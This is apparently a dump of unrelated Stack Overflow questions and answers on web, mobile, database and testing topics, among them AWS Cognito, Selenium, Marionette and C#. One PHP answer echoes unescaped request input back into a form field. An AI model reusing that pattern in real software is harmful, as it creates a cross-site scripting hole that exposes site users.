9533643	0	 <p>Try using <a href="http://mvcgrabbag.codeplex.com/" rel="nofollow">MVCGrabBag</a>. It has a common code base for all the inputs. It uses enums and a bit of a different style in terms of getting it to work. But once you get your head wrapped around the basics you will not be disappointed. All you do is do a <code>@Html.FullFieldEditor</code> and it takes care of the rest with code. There is basically a Selector.cs and some other files that figure out, much like the <code>@Html.EditorFor</code> helper does, what input to create. And instead of using a bunch of <code>/EditorTemplates/</code> it just has one that takes care of everything.</p> <p>It appears to be fairly new, so I trust it will gain momentum. I have to imagine for those of us non-superhuman coders out there that this would alleviate the problem of not having any uniform structure to something that has been around since the dawn of the web (I'm talking inputs). </p> <p>Good luck.</p>
27829864	0	 <p>Your are asking the wrong question, so any answer we will give is also going to be wrong. </p> <p>You are asking how to more effectively use the tool you have (SQL Server) to solve an unspecified problem.</p> <p>The "job to be done" may be more easily solved with some other tool or a completely different design.</p> <p>If you really-really need to use a Cartesian product of this volume, you should look at using <a href="http://en.wikipedia.org/wiki/Lazy_evaluation" rel="nofollow">Lazy Evaluation</a> or the call-by-need design pattern. How you do this depends on the client language involved. </p> <p>You MAY be able to create a T-SQL lazy-evaluation with a procedure and a few sequences, but that is just a hunch.</p>
40517894	0	 <p>I would recommend against following the push paradigm that is suggested above and switch to the pull paradigm. The purpose of AWSIdentityProviderManager is to prompt you for a token only when the SDK needs it, not for you to set it externally periodically whether the SDK needs it or not. This way you don't have to manage token expiry yourself, just make sure your token is valid when logins is called and if it isn't you can use an AWSCompletionSource to get a fresh one.</p> <p>Assuming you have integrated Facebook login, your <a href="http://docs.aws.amazon.com/AWSiOSSDK/latest/Protocols/AWSIdentityProviderManager.html" rel="nofollow noreferrer">IdentityProviderManager</a> should look something like this: </p> <pre><code>import Foundation import AWSCore import FacebookLogin import FacebookCore class FacebookProvider: NSObject, AWSIdentityProviderManager { func logins() -&gt; AWSTask&lt;NSDictionary&gt; { if let token = AccessToken.current?.authenticationToken { return AWSTask(result: [AWSIdentityProviderFacebook:token]) } return AWSTask(error:NSError(domain: "Facebook Login", code: -1 , userInfo: ["Facebook" : "No current Facebook access token"])) } } </code></pre> <p>To use it:</p> <pre><code>let credentialsProvider = AWSCognitoCredentialsProvider(regionType: AWSRegionType.YOUR_REGION, identityPoolId: "YOUR_IDENTITY_POOL_ID", identityProviderManager: FacebookProvider()) let configuration = AWSServiceConfiguration(region: AWSRegionType.usEast1, credentialsProvider: credentialsProvider) AWSServiceManager.default().defaultServiceConfiguration = configuration </code></pre> <p>And then to test getting credentials:</p> <pre><code>AWSServiceManager.default().defaultServiceConfiguration.credentialsProvider.credentials().continue(with: AWSExecutor.default(), with: { (task) -&gt; Any? in print(task.result ?? "nil") return task }) </code></pre> <p>BTW, I needed to add this to my app delegate to get Facebook Login to work with Swift which is not mentioned in the instructions here <a href="https://developers.facebook.com/docs/swift/login" rel="nofollow noreferrer">https://developers.facebook.com/docs/swift/login</a> :</p> <pre><code>func application(_ app: UIApplication, open url: URL, options: [UIApplicationOpenURLOptionsKey : Any] = [:]) -&gt; Bool { return FBSDKApplicationDelegate.sharedInstance().application(app, open: url, sourceApplication: options[UIApplicationOpenURLOptionsKey.sourceApplication] as! String, annotation: options[UIApplicationOpenURLOptionsKey.annotation]) } </code></pre>
8575093	0	Auto refresh script in command line <p>I'm using the command line to execute my php scripts instead of executing them in the browser, so I can look for errors a bit quicker. For browser there are some auto-refresh applications/plugins, so you don't have to hit CMD+R all the time. </p> <p>For my error log I can use the <code>tail -f</code> command, but sure enough it doesn't execute/compile, so I can't use it for php files in the command-line. </p> <p>Is there some equivalent or any work-around for compiled php-files ? Would be even greater to only output something in case of an error (native php-error like warnings, notices)!</p> <p>Working on mac os/x if that's somehow helpful.</p>
994661	0	 <p>By the way, Grails have its data persistence build on top of Hibernate. How do you think JDO would help you in something Hibernate will not? I don't see why one would choose JDO over the default. </p> <p>As far as JPA is concerned, I would recommend you to use JPA, Hibernate implementation of JPA which comes handy with Grails, and not any of the Hibernate specific feature, unless otherwise compelling.</p> <p><strong>[No more relevant after a significant change in question]</strong></p> <p>Thats perfectly fine to have CRUD operations in your entity itself. But there are cases where you may find yourself operating over multiple entities, in that case a layer comes handy and clean, IMHO. Again, its the matter of requirement.</p>
7323715	0	 <p>No. A generator is not asynchronous. This isn't multiprocessing. </p> <p>If you want to avoid waiting for the calculation, you should use the <code>multiprocessing</code> package so that an independent process can do your expensive calculation.</p> <p>You want a separate process which is calculating and enqueueing results.</p> <p>Your "generator" can then simply dequeue the available results.</p>
1749629	0	 <p>In <em>single dispatch</em> the function executed depends on just the object type. In <em>double dispatch</em> the function executed depends on the object type and a parameter. </p> <p>In the following example, the function <code>Area()</code> is invoked using single dispatch, and <code>Intersect()</code> relies on double dispatch because it takes a Shape parameter.</p> <pre><code>class Circle; class Rectangle; class Shape { virtual double Area() = 0; // Single dispatch // ... virtual double Intersect(const Shape&amp; s) = 0; // double dispatch, take a Shape argument virtual double Intersect(const Circle&amp; s) = 0; virtual double Intersect(const Rectangle&amp; s) = 0; }; struct Circle : public Shape { virtual double Area() { return /* pi*r*r */; } virtual double Intersect(const Shape&amp; s); { return s.Intersect(*this) ; } virtual double Intersect(const Circle&amp; s); { /*circle-circle*/ } virtual double Intersect(const Rectangle&amp; s); { /*circle-rectangle*/ } }; </code></pre> <p>The example is based on this <a href="http://www.eptacom.net/pubblicazioni/pub_eng/mdisp.html" rel="nofollow noreferrer">article</a>.</p>
25976872	0	 <p>to respond with you'll have to do somethiing liek this:</p> <pre><code>format.json do render json: { booking_attr: @booking.attr, booking_second_attr: @booking_second_attr, id: @booking.id } end end </code></pre>
35480180	0	 <p>You can use <a href="https://docs.datastax.com/en/cql/3.3/cql/cql_reference/timeuuid_functions_r.html" rel="nofollow">toDate() functions</a> that are builded inside Cassandra</p> <p>For example <code>SELECT toDate(columTimeUUID) FROM YourTable</code> will give you a date formated as : <code>YYYY-MM-DD</code></p> <p>However, it works for Cassandra versions greater than 2.2</p>
16594155	0	How to pass parameters in proper manner in C#? <p>I have stored procedure as below:</p> <pre><code>ALTER PROCEDURE [dbo].[Insert_tblCustomer] -- Add the parameters for the stored procedure here @Username varchar(20) = null, @Password varchar(20)= null, @UserType varchar(20)='User', @FirstName varchar(50)=null, @LastName varchar(50)=null, @DateOfBirth varchar(50)=null, @Gender varchar(10)=null, @Unit_No int = null, @St_No int=null, @St_Name varchar(20)=null, @Suburb varchar(20)=null, @State varchar(20)=null, @Postcode int=null, @Email varchar(50)='', @Phone varchar(15)=null </code></pre> <p>AS... and There are 5 fields i.e. username,password,firstname,lastname and email are must fields. Now from c#, I am trying this :</p> <pre><code>dbConnection target = new dbConnection(); // TODO: Initialize to an appropriate value string _query = string.Empty; // TODO: Initialize to an appropriate value SqlParameter[] param = new SqlParameter[5]; // TODO: Initialize to an appropriate value param[0] = new SqlParameter("@Username", "hakoo"); param[1] = new SqlParameter("@Password", "hakoo"); param[2] = new SqlParameter("@FirstName", "Hakoo"); param[3] = new SqlParameter("@LastName", "Hakoo"); param[4] = new SqlParameter("@Email", "haks@abc.com"); bool expected = true; // TODO: Initialize to an appropriate value bool actual; actual = target.Execute_InsertQuery("dbo.Insert_tblCustomer", param); </code></pre> <p>But, I am getting Assertfail exception. I am newbie to use stored procedures with test. Can anyone correct me where I am wrong?</p> <p>"Added Assert part"</p> <pre><code>bool expected = true; // TODO: Initialize to an appropriate value bool actual; actual = target.Execute_InsertQuery("dbo.Insert_tblCustomer", param); </code></pre> <p>dbConnection is my created core class, where I am putting generic query :</p> <pre><code>public bool Execute_InsertQuery(string _query, SqlParameter[] param) { try { SqlCommand cmd = new SqlCommand(); cmd.Connection = OpenConnection(); cmd.CommandText = _query; cmd.Parameters.AddRange(param); cmd.ExecuteNonQuery(); return true; } catch (Exception ex) { Console.Write(ex.StackTrace.ToString()); return false; } } </code></pre> <p>Update for getting Error : I tried to pass all parameters in this manner : </p> <pre><code>dbConnection c = new dbConnection(); System.Data.SqlClient.SqlParameter[] param = new System.Data.SqlClient.SqlParameter[15]; param[0] = new SqlParameter("@Username", "hakoo"); param[1] = new SqlParameter("@Password", "hakoo"); param[2] = new SqlParameter("@UserType", "User"); param[3] = new SqlParameter("@FirstName", "Hakoo"); param[4] = new SqlParameter("@LastName", "Hakoo"); param[5] = new SqlParameter("@DateOfBirth", "02/11/88"); param[6] = new SqlParameter("@Gender", ""); param[7] = new SqlParameter("@Unit_No", null); param[8] = new SqlParameter("@St_No", 25); param[9] = new SqlParameter("@St_Name", "anc st"); param[10] = new SqlParameter("@Suburb", "ancst"); param[11] = new SqlParameter("@State", "assadd@few"); param[12] = new SqlParameter("@Postcode", 2615); param[13] = new SqlParameter("@Email", "abc@def.com.au"); param[14] = new SqlParameter("@Phone", "165103548"); c.Execute_InsertQuery("dbo.Insert_tblCustomer", param); </code></pre> <p>But for this, I am getting this error :</p> <blockquote> <p>The parameterized query '(@Username nvarchar(5),@Password nvarchar(5),@UserType nvarchar(' expects the parameter '@Unit_No', which was not supplied. I can execute this Store procedure in SQL Server.</p> </blockquote>
29838931	0	AWS iOS SDK TLS Support <p>Related Question: <a href="http://stackoverflow.com/questions/29656452/aws-s3-disabling-sslv3-support">AWS S3 Disabling SSLv3 Support</a></p> <p>This is more of an inquiry for the mobile iOS SDK. Wondering what I have to do or where to start since am a bit clueless. </p> <p>Also just received a notice that Amazon is deprecating SSLv3 and that I need to modify my requests to use TLS. </p> <p>This is an older iOS app still using the AWS iOS SDK 1.7 version. This basically just accesses S3 Buckets for both upload and download of images. </p> <p>Now is this normally handled already by the library or do I have to update to the v2 library, thereby dropping iOS 6 support. Or can it just be through code changes, etc.</p>
9190487	0	 <p>It is used to inform the compiler to disable C++ name mangling for the functions defined within the braces. <a href="http://en.wikipedia.org/wiki/Name_mangling" rel="nofollow">http://en.wikipedia.org/wiki/Name_mangling</a></p>
7646493	0	 <p>The compiler is picking the <code>IEnumerator&lt;int&gt; GetEnumerator</code> method by following the rules in 8.8.4 of the C# language specification which <em>first</em> looks for an accessible <code>GetEnumerator()</code> method on the <code>BarList</code> type. The only one of those which is available is the one returning <code>IEnumerator&lt;int&gt;</code>.</p> <p>If you had made <em>that</em> method use explicit interface implementation as well, then it would have gone onto the later stages of section 8.8.4, which states that if there is more than one type T such that there is an implicit conversion from the expression type (<code>BarList</code> here) to <code>IEnumerable&lt;T&gt;</code> then an error is produced.</p> <p>I would say this <em>is</em> a confusing design - I would probably add properties or methods to retrieve appropriate "views" on the data.</p>
2865363	0	Zend Framework - Not Connecting to IMAP mail server - instead dumps empty php file <p>Hi guys I'm trying to connect to an imap mail server using zend frameworks Zend_Mail_Storage_Imap function. Its working with some accounts but with most accounts it just dies out. I'm connecting using:</p> <pre><code>$mail = new Zend_Mail_Storage_Imap(array('host' =&gt;$current_dept-&gt;incoming_server, 'ssl' =&gt;$current_dept-&gt;ssl, 'port'=&gt;$current_dept-&gt;incoming_port, 'folder'=&gt;$mbox_name, 'user' =&gt;$current_dept-&gt;email, 'password' =&gt;$current_dept-&gt;email_psd)); </code></pre> <p>WIth some email accounts teh code doesn't go past this statement - and instead I'm prompted to 'download' the php file being run. Whats happening here - the mail server details are correct.</p>
3172886	0	 <p>Views bulk operations and exposed filters can solve this problem for you. Normally you use it to create a customized node view, but the same principal can be used for users. </p>
34645326	1	Selenium test works in local machine, but fails on Jenkins <p>My test works just fine on my machine. However, on Jenkins, I have the following error:</p> <pre><code>Traceback (most recent call last): File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/.env/local/lib/python2.7/site-packages/django/test/utils.py", line 216, in inner return test_func(*args, **kwargs) File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/twist/tests/interface/test_hello.py", line 42, in test_login open_login_modal_btn.click() File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/.env/local/lib/python2.7/site-packages/selenium/webdriver/remote/webelement.py", line 75, in click self._execute(Command.CLICK_ELEMENT) File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/.env/local/lib/python2.7/site-packages/selenium/webdriver/remote/webelement.py", line 454, in _execute return self._parent.execute(command, params) File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/.env/local/lib/python2.7/site-packages/selenium/webdriver/remote/webdriver.py", line 201, in execute self.error_handler.check_response(response) File "/var/lib/jenkins/jobs/twist-press-ricardo-fork/workspace/.env/local/lib/python2.7/site-packages/selenium/webdriver/remote/errorhandler.py", line 181, in check_response raise exception_class(message, screen, stacktrace) ElementNotVisibleException: Message: Element is not currently visible and so may not be interacted with Stacktrace: at fxdriver.preconditions.visible (file:///tmp/tmpl_3zEO/extensions/fxdriver@googlecode.com/components/command-processor.js:9981) at DelayedCommand.prototype.checkPreconditions_ (file:///tmp/tmpl_3zEO/extensions/fxdriver@googlecode.com/components/command-processor.js:12517) at DelayedCommand.prototype.executeInternal_/h (file:///tmp/tmpl_3zEO/extensions/fxdriver@googlecode.com/components/command-processor.js:12534) at DelayedCommand.prototype.executeInternal_ (file:///tmp/tmpl_3zEO/extensions/fxdriver@googlecode.com/components/command-processor.js:12539) at DelayedCommand.prototype.execute/&lt; (file:///tmp/tmpl_3zEO/extensions/fxdriver@googlecode.com/components/command-processor.js:12481) </code></pre> <p>I installed dependencies as it follows:</p> <pre><code>$ sudo apt-get install xvfb python-pip $ sudo pip install pyvirtualdisplay </code></pre> <p>Here is my test code:</p> <pre><code>class MySeleniumTests(LiveServerTestCase): fixtures = ['user-data.json'] def setUp(self): self.display = Display(visible=0, size=(800, 600)) self.display.start() group = Group.objects.get_or_create(name="Test")[0] user_adm = User.objects.create(username="adm", is_active=True, is_staff=True, is_superuser=True) user_adm.set_password("123") user_adm.groups.add(group) user_adm.save() self.selenium.get('%s' % (self.live_server_url)) self.browser = self.selenium def tearDown(self): self.display.stop() @classmethod def setUpClass(cls): super(MySeleniumTests, cls).setUpClass() cls.selenium = WebDriver() @classmethod def tearDownClass(cls): cls.selenium.quit() super(MySeleniumTests, cls).tearDownClass() @override_settings(DEBUG=True) def test_login(self): open_login_modal_btn = self.browser.find_element_by_xpath("//a[@class='btn btn-nav']") open_login_modal_btn.click() # Login info username_html_id = "lm-email" password_html_id = "lm-password" login_value = "adm" password_value = "123" username = self.browser.find_element_by_id(username_html_id) password = self.browser.find_element_by_id(password_html_id) # Sending login info username.send_keys(login_value) password.send_keys(password_value) desired_url = self.live_server_url + "/panel/" form = self.browser.find_element_by_xpath('//form[@id="login-modal"]') form.submit() time.sleep(5) # Testing if successful login # Logging in current_url = self.browser.current_url self.assertEqual(current_url, desired_url) </code></pre> <p>Are there any clues on how to fix it? Any help on how to debug/fix it will be appreciated! :-)</p> <p>-- EDIT:</p> <p>My issue is solved, if you are facing similar problem, take a look at: <a href="http://stackoverflow.com/questions/34562061/webdriver-click-vs-javascript-click">WebDriver click() vs JavaScript click()</a> It was the case in my problem.</p>
27711510	0	 <p>with 3.x ... use the name property of CCNode to your advantage.</p> <pre><code>-(void)createNewCactus { CCSprite *newCactus = [CCSprite spriteWithImageNamed:@"cactusclipart.png"]; [newCactus setScale:0.25]; newCactus.name = @"cactusclipart.png"; if (cactiCount &lt;= 21) { cactiCount++; if (cactiCount &lt; 7) [newCactus setPosition:ccp(43*cactiCount, 140)]; else if (cactiCount &lt; 13) [newCactus setPosition:ccp(43*cactiCount-258, 90)]; else [newCactus setPosition:ccp(43*cactiCount-516, 40)]; [self addChild:newCactus]; } else { [newCactus removeFromParentAndCleanup:YES]; // &lt;- this will never happen } } </code></pre> <p>and to remove do something like :</p> <pre><code>CCSprite *cac; while (cac = [self getChildByName:@"cactusclipart.png" recursively:NO]) { [cac revoveFromParentAndCleanup:YES]; } </code></pre>
19932083	0	 <p>Perhaps the confusion is between a variable and a field. A field is a property that is associated with an object. A variable exists only in the context of a method. When the method finishes, the variable vanishes.</p> <p>A field, on the other hand, looks exactly the same as a variable except that a field is declared outside of any method, directly on the class "body". Fields and methods are declared at the same hierarchical level. You can see that on Eclipse. Check the "outline" view.</p> <p>If you need several methods to read and write the same "variable", then what you need is a field. I hope this clarifies. </p>
27831535	0	 <p>I believe that the way 'iisnode' works is that it intercepts requests for files with ".js" extension. I do not think it can be set up to run same way as you would run it using <code>node</code> or <code>nodemon</code>.</p> <p>In my case I set up a production Node.js server with IIS by doing the following:</p> <ol> <li><p>I set up my port in server.js to run on different port (say 81) so that it does not interfere with IIS.</p></li> <li><p>I set up node to run in a service, so that it auto-restarts when server restarts, console window will not get closed accidently, etc (there are few options you can use - for example <a href="http://nssm.cc/" rel="nofollow">http://nssm.cc/</a> but we wrote our own wrapper service). </p></li> <li><p>I set up <a href="http://dvisagie.blogspot.ca/2013/02/running-nodejs-alongside-iis-on-windows.html" rel="nofollow" title="forwarding">forwarding</a> from IIS to that node server - that way I could still use port 80 for the site externally and I was able to use host header filtering (there are multiple sites running on one server)</p></li> </ol>
9298524	0	 <p>Look into <a href="http://ncalc.codeplex.com/">nCalc</a>.</p> <p>You could store your calculations in a database field then simply execute them on demand. Pretty simple and powerful. We are using this in a multi-tenant environment to help with similar types of customization. </p>
3653522	0	zpt xml-schema definition <p>Where can i find xml-schema definition for ZPT attribute language?</p>
2678085	0	 <p>The entry is completely optional, but the bug you are pointing to is related to compilation, not runtime, so it is highly unlikely that this is the problem.</p> <p>Application Servers are often very file hungry, and if nothing has been done to increase the limit of open files, the default may not be high enough.</p> <p>On CentOS for example, we found that even in QA (not load testing, just functional testing) a server could max out its ulimit with JBoss 4.2.</p> <p>EDIT: The only thing wrong with the code that you posted in terms of holding files open is that you should use <a href="http://stackoverflow.com/questions/2649322/how-do-i-close-a-file-after-catching-an-ioexception-in-java">finally</a> to close your stream. In a server application, it could be that this code often throws an exception, causing files to not be closed (because you don't close them in a finally) and over time those open file handles add up. There are other issues in how you are doing it (like relying on the <code>available()</code> to determine the size of the byte array), but that should not affect your problem.</p> <p>Another possibility is that under *nix systems sockets consume the same resource as files, so it could be that you have too many sockets (above what the system is configured to allow) open, causing this code to be unable to execute.</p>
15289516	0	 <p>Session is a good way to store and remember data but why complicate things? Consider if the form has many fields, developer has to store lots of values in session. Why not simply print or echo.</p> <p>Example:</p> <p>Form is submitted with input ssName and hidden field ssAct with value of send</p> <p>Get the ssName and ssAct on form submit</p> <pre><code>$ssAct=$_REQUEST["ssAct"]; $ssName=$_REQUEST["ssName"]; </code></pre> <p>and the form</p> <pre><code>&lt;input type="text" name="ssName" value="&lt;?php if($ssAct=='send' &amp;&amp; $ssName!='') { echo "$ssName"; } ?&gt;"&gt; &lt;input type="hidden" name="ssAct" value="send"&gt; </code></pre> <p>On submit name will be echoed if it was submitted and was not empty.</p>
7379017	0	 <p>Humans.</p> <p>You want to improve readability, and since readability is mostly a human thing it should be taught by a human.</p> <p>Ask more experienced developers to review your expressions and give tips.</p> <p>For example, see my answer here: <a href="http://stackoverflow.com/questions/5924611/what-is-the-best-way-performance-wise-to-test-if-a-value-falls-within-a-thresho/5924659#5924659">What is the best way (performance-wise) to test if a value falls within a threshold?</a></p>
24769785	0	More efficient way of running multiple update queries on an Access database? <p>I have multiple queries like this right now which involve updating different fields of the same row in an Access database:</p> <pre><code>//Update database string updatequery = "UPDATE [table] SET [Last10Attempts] = ? WHERE id = ?"; OleDbConnection con = new OleDbConnection(@"Provider=Microsoft.ACE.OLEDB.12.0;" + @"Data Source=" + "database.accdb"); con.Open(); OleDbDataAdapter da = new OleDbDataAdapter(updatequery, con); var accessUpdateCommand = new OleDbCommand(updatequery, con); accessUpdateCommand.Parameters.AddWithValue("Last10Attempts", last10attempts); accessUpdateCommand.Parameters.AddWithValue("ID", currentid + 1); da.UpdateCommand = accessUpdateCommand; da.UpdateCommand.ExecuteNonQuery(); //update last10attemptssum updatequery = "UPDATE [table] SET [Last10AttemptsSum] = ? WHERE id = ?"; accessUpdateCommand = new OleDbCommand(updatequery, con); accessUpdateCommand.Parameters.AddWithValue("Last10AttemptsSum", counter); accessUpdateCommand.Parameters.AddWithValue("ID", currentid + 1); da.UpdateCommand = accessUpdateCommand; da.UpdateCommand.ExecuteNonQuery(); //increment totalquestionattempt updatequery = "UPDATE [table] SET [total-question-attempts] = ? WHERE id = ?"; accessUpdateCommand = new OleDbCommand(updatequery, con); accessUpdateCommand.Parameters.AddWithValue("total-question-attempts", questionattempts + 1); accessUpdateCommand.Parameters.AddWithValue("ID", currentid + 1); da.UpdateCommand = accessUpdateCommand; da.UpdateCommand.ExecuteNonQuery(); con.Close(); </code></pre> <p>I was wondering if there is a more efficient way of running these update queries - ie. combining them into one query.</p>
34594701	0	delete section at indexPath swift <p>I have an array which populates a table view - myPosts.</p> <p>The first row of the table view is not part of the array.</p> <p>Each row is its own section (with its own custom footer)</p> <p>I am trying to perform a delete with the following code:</p> <pre><code> func tableView(profileTableView: UITableView, commitEditingStyle editingStyle: UITableViewCellEditingStyle, forRowAtIndexPath indexPath: NSIndexPath) { if (editingStyle == UITableViewCellEditingStyle.Delete) { myPosts?.removeAtIndex(indexPath.section - 1) profileTableView.beginUpdates() let indexSet = NSMutableIndexSet() indexSet.addIndex(indexPath.section - 1) profileTableView.deleteSections(indexSet, withRowAnimation: UITableViewRowAnimation.Automatic) profileTableView.deleteRowsAtIndexPaths([indexPath], withRowAnimation: UITableViewRowAnimation.Automatic) profileTableView.endUpdates() ... WS Call ... } } </code></pre> <p>And the log is reporting the following:</p> <pre><code> 'Invalid update: invalid number of rows in section 0. The number of rows contained in an existing section after the update (1) must be equal to the number of rows contained in that section before the update (1), plus or minus the number of rows inserted or deleted from that section (0 inserted, 1 deleted) and plus or minus the number of rows moved into or out of that section (0 moved in, 0 moved out).' </code></pre> <p>Obviously the issue is related to 0 moved in, 0 moved out but I don't understand why that is? or what the solution would be?</p> <p>number of sections in tableView is as follows:</p> <pre><code>func numberOfSectionsInTableView(tableView: UITableView) -&gt; Int { if self.myPosts == nil { return 1 } return self.myPosts!.count + 1 } </code></pre>
20876239	0	 <p>The setInterval executes after the function is run, by which point i has incremented to 4. You should create a closure over the element to preserve it</p> <pre><code>setInterval(runnable(elements[i], text, target_date), 1000); // also pass target_date since it is needed function runnable(el, text, target_date) { return function () { // find the amount of "seconds" between now and target var current_date = new Date().getTime(); var seconds_left = (target_date - current_date) / 1000; // do some time calculations days = parseInt(seconds_left / 86400); seconds_left = seconds_left % 86400; hours = parseInt(seconds_left / 3600); seconds_left = seconds_left % 3600; minutes = parseInt(seconds_left / 60); seconds = parseInt(seconds_left % 60); // format countdown string + set tag value el.innerHTML = text + days + "d, " + hours + "h, " + minutes + "m, " + seconds + "s"; } } </code></pre> <p>Demo: <a href="http://jsfiddle.net/87zbG/1/" rel="nofollow">http://jsfiddle.net/87zbG/1/</a></p>
6345513	0	 <p>I have modified little bit your <code>encodeIcon()</code>. Now its working fine. it is having the actual image</p> <pre><code>public static void encodeIcon(Drawable icon){ String appIcon64 = new String(); Drawable ic = icon; if(ic !=null){ ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); // bitmap.compress(CompressFormat.PNG, 0, outputStream); BitmapDrawable bitDw = ((BitmapDrawable) ic); Bitmap bitmap = bitDw.getBitmap(); ByteArrayOutputStream stream = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.JPEG, 100, stream); byte[] bitmapByte = stream.toByteArray(); bitmapByte = Base64.encode(bitmapByte,Base64.DEFAULT); System.out.println("..length of image..."+bitmapByte.length); } } </code></pre> <p>Thanks Deepak</p>
22419730	0	 <p>If I understood your question correctly then you need to use <code>scroll:1</code> instead of <code>scroll:true</code>, Which will not disable scroll bar, but it will solve your issue.</p>
10809728	0	Backbone Marionette CompositeView "Event Zombie" <p>I have a fairly simple table created using a Backbone Marionette CompositeView. The only requirements on this table are that it display data and allow the user to sort it by clicking the header row. When the table is sorted, the columns used to sort the header column are tagged with classes to allow an arrow to be displayed using CSS (e.g. 'class="sort asc"').</p> <p>Here is the problem: When the header row is clicked, the element that is passed to the callback (via event.target) is not part of the table that is on the DOM. Instead, using Chrome's debugging tools it appears that the target element is actually part of the template script block, and not the element the user actually sees.</p> <p>The best work-around I've got right now is to lookup the element actually attached to the DOM by retrieving unique info from its clone in the template.</p> <p>Here's the composite view code (borrowed from one of Derick Bailey's sample Fiddle's):</p> <pre><code>// The grid view var GridView = Backbone.Marionette.CompositeView.extend({ tagName: "table", template: "#grid-template", itemView: GridRow, events: { 'click th': 'doSort' }, doSort: function(event) { var target = $(event.target); this.collection.sortByField(target.data('sortby')); target.parent('tr').find('.sort').removeAttr('class'); target.addClass('sort ' + this.collection.sortdir); debugger; // NOTE: no change to elements in the DOM. WTH? target = this.$('[data-sortby=' + target.data('sortby') + ']'); target.parent('tr').find('.sort').removeAttr('class'); target.addClass('sort ' + this.collection.sortdir); debugger; // NOTE: DOM updated. }, appendHtml: function(collectionView, itemView) { collectionView.$("tbody").append(itemView.el); } }); </code></pre> <p>The template is simple as well:</p> <pre><code>&lt;script id="grid-template" type="text/template"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th data-sortby="username"&gt;Username&lt;/th&gt; &lt;th data-sortby="fullname"&gt;Full Name&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/script&gt; </code></pre> <p>A fork of Derek's original demo Fiddle modified to demonstrate the problem can be found here: <a href="http://jsfiddle.net/ccamarat/9stvM/14/" rel="nofollow">http://jsfiddle.net/ccamarat/9stvM/14/</a></p> <p>I've meandered a bit. My question is, I appear to have a spawned a Zombie View of sorts; is this a jQuery/Backbone/Underscore bug, or am I simply going about this all wrong?</p> <p>** EDIT ** Here's the console output showing the different parent hierarchies of the two elements: </p> <pre><code>console.log(target, targetb): [&lt;th data-sortby="username" class="sort asc"&gt;Username&lt;/th&gt;] [&lt;th data-sortby="username"&gt;Username&lt;/th&gt;] console.log(target.parents(), targetb.parents()): [&lt;tr&gt;…&lt;/tr&gt;, &lt;thead&gt;…&lt;/thead&gt;] [&lt;tr&gt;…&lt;/tr&gt;, &lt;thead&gt;…&lt;/thead&gt;, &lt;table&gt;…&lt;/table&gt;, &lt;div id="grid"&gt;…&lt;/div&gt;, &lt;body&gt;…&lt;/body&gt;, &lt;html&gt;…&lt;/html&gt;] console.log(target === targetb): false </code></pre>
17346620	0	 <p>PHP is a server-side language and you won't be able to load it up in a web browser just like that. You'll have to use a web server, like <a href="http://www.wampserver.com/en/" rel="nofollow">WAMP</a> or <a href="http://www.apachefriends.org/en/xampp.html" rel="nofollow">XAMPP</a> for example.</p> <p>Make sure of these things first:</p> <ul> <li>that PHP is installed and running on your computer</li> <li>that the file extension is <code>.php</code></li> <li>that you're accessing the php file with something like <code>localhost/yourfile.php</code> and not <code>file://yourfile.php</code></li> <li>that the permission for your files is correct (644 or 755 would be enough, I think)</li> </ul> <p>Hope this helps.</p>
7932272	0	Could these patterns be matched by regular expression or context free grammar? <p>This is an exercise of compiler. We are asked if it's possible to match the following patterns with regular expression or context free grammar:</p> <ol> <li>n 'a' followed by n 'b', like 'aabb'</li> <li>palindrome, like 'abbccbba'</li> <li>n 'a', then n 'b', then n 'c', like 'aabbcc'</li> </ol> <p>Note that n could be any positive integer. (Otherwise it's too simple)</p> <p>Only 3 character 'abc' could appear in the text to parse.</p> <p>I'm confused because as far as I can see, non of these patterns can be described by regular expression and context free grammar.</p>
39307989	0	 <p><strong>1.</strong> Your function signature takes 3 arguments, and you only supply 1. How it compiles, I do not know, as I don't think it should. </p> <p><strong>2.</strong> The <code>CalculateAirTime</code> function prints a variable before calculating it. You first do this: <code>printf("Total air time: %f\n", time);</code> , and then calculate the actual air time: <code>time = ((2*velocity)*sin(angle)/GRAVITY);</code></p> <p><strong>3.</strong> As an advice, since the <code>CalculateAirTime</code> function needs velocity and angle to return a calculated time, do not pass time as a parameter. It's useless. You can either declare a double variable inside the function or directly return the calculated time.</p> <p>Replace <code>double CalculateAirTime(double velocity, double angle, double time){...}</code> with <code>double CalculateAirTime(double velocity, double angle){...}</code></p> <p><strong>*EDIT!</strong> For clarity purposes, here is how I would probably write your program:**</p> <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; #define PI 3.14159265358979323846 #define GRAVITY 9.8 /* I renamed some variables. Just from the variable names, I think you do not understand the solution for this "air time" problem well. I might be mistaken tough. If you have any questions, please ask them. You are not leaving this place until you fully understand what is happening. */ // Function DECLARATION: double CalculateAirTime(double Initial_Velocity, double Launch_Angle); int main(void) { // variables double Initial_Velocity; double Launch_Angle; // Initial_Velocity = 20.0 should work aswell. This is called a cast. You will learn about it later Initial_Velocity = (double)(20.0); // Converting 45 degrees to radians, because the sin() library function works with radians Launch_Angle = (double)((45.0/180.0)*PI); //Call function using our declared values as input CalculateAirTime(Initial_Velocity,Launch_Angle); return 0; } // Function DEFINITION //Try to use the same name for paramaters here, as you did in the declaration! double CalculateAirTime(double Initial_Velocity, double Launch_Angle) { double Air_Time; Air_Time = (double)((2*Initial_Velocity)*sin(Launch_Angle)/GRAVITY); printf("Total air time: %f\n", Air_Time)); return time; } </code></pre>
39182338	0	 <p>You cannot use <code>$this</code> as this is an explicit reserved variable for the class inside reference to the class instance itself. Make a copy to <code>$this</code> and then pass it to the <code>use</code> language construct.</p> <pre><code>class Foo { var $callbacks = array(); function __construct() { $class = $this; $this-&gt;callbacks[] = function($arg) use ($class) { return $class-&gt;bar($arg); }; } function bar($arg) { return $arg * $arg; } } </code></pre>
